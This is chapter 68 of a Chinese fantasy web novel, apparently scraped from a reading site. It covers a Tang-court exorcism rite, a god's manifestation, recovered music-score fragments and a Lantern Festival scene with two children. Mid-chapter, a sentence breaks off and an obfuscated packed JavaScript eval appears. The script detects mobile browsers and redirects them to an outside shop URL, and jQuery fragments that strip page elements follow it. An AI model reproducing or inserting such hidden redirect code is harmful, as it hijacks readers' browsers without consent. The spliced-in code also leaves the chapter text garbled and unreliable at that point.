默认冷灰
24号文字
方正启体

68.第 68 章

作者:搅拌机本书字数:K更新时间:
    站在前排的景颐,小嘴已经张得极大,眼睛瞪得溜圆!


    在金色气浪炸开的瞬间,他颈间的赤玉麒麟锁烫得吓人,体内溯梦之力疯狂奔涌。


    他清晰地看到,一个无比高大的玄甲金眸神将,如同撕开帷幕,骤然出现在那方相氏身后,然后融了进去!


    原本那个威武的人,气息瞬间变了!变得深不可测,煌煌如天威,那面具下的目光扫过来时,景颐甚至忍不住缩了缩脖子,有种被远古巨兽凝视的感觉。


    但这还不是最让他震惊的。


    当那方相氏缓缓转动头颅,黄金四目扫视全场时,景颐看到了他这辈子从未想象过的景象。


    广场四周,那些阴暗的角落、廊柱背后、甚至一些观礼者自身的阴影里,无数道极其淡薄的形态各异的身影,被那神目金光照了出来!


    有的面容愁苦,有的身形佝偻,有的缠绕着黑气……他们并不像是故事里青面獠牙的厉鬼,更像是滞留人间的、充满执念、病气或衰怨的残魂、地缚灵之类的微弱存在。


    在方相氏的神威与那涤荡全场的金光下,这些淡薄的身影如同暴露在烈日下的冰雪,迅速消融。


    他们大多露出了解脱、释然、甚至感激的神情,身影化作点点微光,袅袅上升,最终消散在夜空深处,仿佛去了该去的地方。


    “那是……鬼吗?不,好像不太一样……” 景颐看得入了神,甚至忘了害怕,只剩下满满的新奇与震撼。


    原来平常看不到的地方,有这么多东西吗?原来傩仪……不只是赶走晦气,还会送走这些……人?他看得目不暇接,小脑袋瓜被巨大的信息量冲击得嗡嗡作响。


    此刻的广场,在众人眼中,仪式进入了最肃穆、最震撼人心的阶段。那方相氏动作愈发缓慢沉重,却带着一种难以言喻的威严,每一次戈盾挥动,都仿佛牵动着天地之力,令人不敢直视,心生无边敬畏。鼓声呼喝仿佛成了应和这天威的乐章。


    在屋脊上的两位正神看来,这不过是方相氏履行其神职的一次标准操作。祝融甚至还点评了一句:“清理得还算干净。”


    长琴微微点头,他的注意力更多被仪式核心那被激发、正逐渐显化的《鸣岐谱》残卷气息所吸引。


    而在景颐眼中,这是一场前所未有的、真实不虚的神迹观摩课。他看到了神降,看到了净化,看到了另一个世界的冰山一角。


    当仪式进入最后高潮,万民齐呼“傩”声撼动天地时,他体内的溯梦之力与这驱邪本源神力产生了最强共鸣!他眼前再次浮现出那熟悉的流光,正从仪式核心的气场中艰难凝聚。


    就在最终鼓息、神力开始回撤、方相氏神魂虚影即将消散之际,那戴着黄金四目面具的神影,微微转动头颅。


    他的目光,准确无误地投向了侧后方屋脊。那里,红袍火神与白衣乐神并肩而立。


    尽管两位正神并未展露全部神威,但那份存在的本质与位格,足以让这位新晋的神祇感应并致以敬意。


    方相氏虚影对着屋脊方向,郑重地颔首一礼。随即,玄甲神光收敛,迅速淡去,回归述职。


    此番借助大唐国运与除夕傩礼显圣,亦是职责,临行对两位上古正神致意,是应有的礼数。


    长琴立于屋脊,夜风拂动衣袂。他亦对着方相氏消散的方向,微微颔首还礼。随即,他不再迟疑,抬手,一道无形无质的清越琴音般的灵力波动,精准地没入广场中心下方。


    片刻,两点微光自地底不同方位渗出,如同被琴音牵引的游鱼,迅速飞升至屋脊,落入长琴摊开的掌心。


    这是两片颜色、质地略有差异,但气息同源、纹路相连的焦黑残片,比之前所得任何一片都更显古老,上面刻痕深峻,蕴含着强烈的破邪、正音、涤荡之意。


    正是《鸣岐谱》中关于以音律镇压不祥、清剿邪祟的关键篇章残页!而且一次便是两片相连的!与之前所得的部分结合,整部古谱的脉络与威能,已可窥见大半。如今,他已得其五之其三。


    广场上,仪式已近尾声。方相氏率领伥子童子,沿着既定路线,已将宫中邪祟尽数驱逐至象征性的宫门之外。随着最后一声撼天动地的鼓响和万民齐呼,所有鼓声、呼喝声戛然而止。


    风停,火稳。


    那笼罩广场的庞大神力场与肃杀之气如潮水般退去。扮演方相氏的巨汉身体晃了晃,仿佛瞬间被抽空了力气,在旁人搀扶下缓缓退场。


    景颐还沉浸在方才那震撼的共鸣与看见的景象中,直到李治拉他的袖子,才恍然回神。他下意识地抬头,望向爷爷和师父之前所在的屋脊方向,那里已空无一人,但他能感觉到,熟悉的温暖与清冷气息,正朝着凝云轩而去。


    “走了,景颐,回去守岁!耶耶说今晚可以玩到很晚!” 李治兴奋地说。


    “嗯!回家!” 景颐用力点头,牵起李治的手,最后看了一眼恢复欢腾的广场。


    夜色深浓,旧岁在神舞、爆竹与欢庆中逝去。凝云轩内,长琴正对着新得的两片残卷沉思,而祝融则陪着终于开始打哈欠的景颐,说着漫无边际的故事,等待新旧交替的那个时刻。


    除夕之后的新年,在走亲访友、吃吃喝喝中飞快溜走。


    凝云轩里,长琴将大部分时间都用在了研究新得的两片残卷上。这两片残页焦黑古旧,刻痕深峻,所载并非具体的乐曲,而是一种近乎“道”的阐述,核心在于以音律之正,镇压世间不祥,以清越之声,涤荡诸般邪祟。


    其中提及的运用法门玄奥精深,远超寻常乐理。


    景颐见师父整日对着一块焦木头沉思,连点心都吃得少了,忍不住好奇,凑过去扒着桌沿问:“师父,这个黑乎乎的片片上写的什么呀?比千字文还难懂吗?”


    长琴从沉思中回神,看了他一眼解释道:“此乃音律一道中,关乎镇压与传续的法理。你瞧这里,” 他指尖虚点残片上几行极细微的纹路,


    “这里写着‘音可化文,文以载道,道传百世而不绝。’音律并非只能入耳即逝,亦可化为有形之文,承载无形之道,跨越时间长河,使后人亦能得闻先贤之正音,明辨是非,抵御邪妄。”


    景颐听得云里雾里,感觉每个字都懂连起来不懂”,但他努力抓住关键词:“音……变成字?字……传下去?不让忘记?”


    长琴微微颔首,进一步举例:“譬如,上古圣王,将治世之言刻于金简玉版,是为典谟,欲传之不朽。中古贤人,将所思所感书于竹简缣帛,是为诗书,欲泽被后人。近世以来,匠人以木刻雕版,翻印经史子集,使天下识字之人,皆可得见圣贤教诲。


    “此种种,皆是以文载道,以有形传无形,亦是一种正音。让那些有益于世且不该被遗忘的道理与记忆,能够对抗时光流逝,长久留存。”


    不该被遗忘。


    景颐这次听懂了最后一句。他似懂非懂地点点头,虽然还是不太明白具体怎么回事,但最后一句,他牢牢记在了心里。就像他努力记住梦里的苏叔叔、霍将军,还有师父说的每一句话一样。


    正月十五,上元佳节。李世民崇尚节俭,宫中并未举办前朝那般极尽奢靡的大型灯会,但也不禁止宫人与皇室子弟私下庆祝。


    是夜,祝融带着景颐和李治,征得了李世民和长孙皇后的同意,在数名可靠侍卫的护卫下,登上了长安城的一处城墙。


    此处视野开阔,远离宫城核心的喧闹,却能俯瞰部分里坊星星点点的灯火。夜风清寒,却吹不散节日的暖意。侍卫们搬来了几个崭新的孔明灯,还有笔墨。


    “来,小家伙们,” 祝融将两个最小的孔明灯递给景颐和李治,“在上头写下心愿,或者想祈福的人,然后点燃下面的蜡烛,看着它飞上天,据说就能被天上的神仙看到,帮你们实现愿望。当然,爷爷也能看到,但爷爷可不负责这个。”


    李治很认真地想了想,然后握着笔,在薄薄的灯纸上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352134|195893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,歪歪扭扭地写下了“耶耶安康”、“阿娘欢喜”、“兄长姊姊平安”,还有“景颐开心”。字虽稚嫩,心意拳拳。


    景颐拿着笔,却犯了难。他有好多好多心愿:希望师父早点找到琴谱,希望李叔叔和大姐姐身体一直好,希望阿姊和豫章阿姊永远开心漂亮,希望雉奴快快长高,希望自己每次做梦都梦见好吃的……


    还有,希望爷爷明年、后年、每一年都来陪他过年。这么多,写不下呀!


    他抓耳挠腮半天,最后干脆画了个小小的麒麟脑袋,在旁边写了个大大的“好”字。寓意:所有他在乎的人和事,都要好好的!


    祝融笑着看他创作完毕,帮他们点燃灯座下的蜡烛。热空气渐渐充盈灯囊,薄纸灯罩慢慢鼓胀起来。


    两个孩子小心翼翼地松开手,看着那两盏承载着稚嫩心愿的灯火,晃晃悠悠地,向着深邃的夜空飘去,越升越高,渐渐融入漫天星辰之中,仿佛真的成了两颗会发光的、缓慢移动的小星星。


    景颐仰着小脑袋,看得入神。那灯火明明灭灭,执着地向上,仿佛要挣脱大地的束缚,去往一个更高、更远、他看不见的地方。


    忽然,他扯了扯祝融的衣袖,仰脸问:“爷爷,方相氏叔叔是人间当官当得好,才变成神仙的。那……人间的东西,也能像这灯一样,飞到天上去,变成天上的东西吗?”


    祝融闻言,捋了捋并不存在的胡须,沉吟道:“有些能,有些不能。有形之物,如这灯,升空便化为灰烬或坠落。无形之物,却有可能。比如……书。”


    “书?” 景颐眨眨眼。


    “嗯。书里记着的道理、知识、故事,如果是对世人有益的,是正的,那这本书本身,在天地间就有了分量。


    “读它的人越多,信它的人越多,践行它道理的人越多,这本书承载的道与念就越重,越清晰,久而久之,其精义或许便能脱离竹帛纸页的束缚,成为一种……嗯,接近于法则或共识的东西,流传下去。这,或许也算是一种飞升。” 祝融用尽量浅显的话解释着。


    书,道理,传下去,不该被遗忘……


    几个词在景颐小脑袋里碰撞。他忽然想起师父这几天研究的东西。一个大胆的、异想天开的念头冒了出来。


    他眼睛亮晶晶地看向祝融,带着莫名的自信和跃跃欲试:“爷爷!那……那我能把梦里的书带回来吗?把梦里那些好的、不该被忘记的书,带到我们这里来!这样它们不就能在这里传下去了?”


    祝融被他这突如其来的宏愿逗得噗嗤一笑,低头看着自家孙子那认真的小脸,忍不住伸手揉了揉他的头发:“你个一看正经书就打瞌睡、练字像画符的小皮猴,还想从梦里带书回来?带什么书?《千字文》你背全了吗?《急就篇》认全了吗?”


    景颐被爷爷揭了老底,小脸一红,梗着脖子辩解:“我、我以后会认真学的!而且……梦里的书可能不一样!说不定是讲怎么做特别好吃的点心,或者怎么做出会飞的大船呢?”


    “好好好,” 祝融笑着顺毛捋,“你想试试,便去试试。不过啊,” 他话锋一转,语气轻松,“带不回来也没关系。梦里的东西,留在梦里,自有其缘法。就像这孔明灯,飞远了,看不见了,但它承载的心意,我们已经许下了,不是吗?强求反而不美。”


    景颐看着夜空中早已不见踪影的孔明灯方向,又摸了摸怀里硬硬的小银粒和软软的纸兔子。


    带不回书……带点别的也行?爷爷说试试,那就试试!反正他做梦又不亏!万一成功了呢?他可是能从坏梦里捡银子的小麒麟!


    夜风渐大,该回去了。回去的路上,景颐还在叽叽喳喳地跟李治讨论,如果真能从梦里带东西,最想带什么回来。


    李治说想要一只梦里那种漂亮的文鳐鱼,景颐则已经开始认真思考,下次入梦要瞪大眼睛找找有没有看起来特别厉害、特别不该被忘记的书了,虽然他现在连书名都认不全几个。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)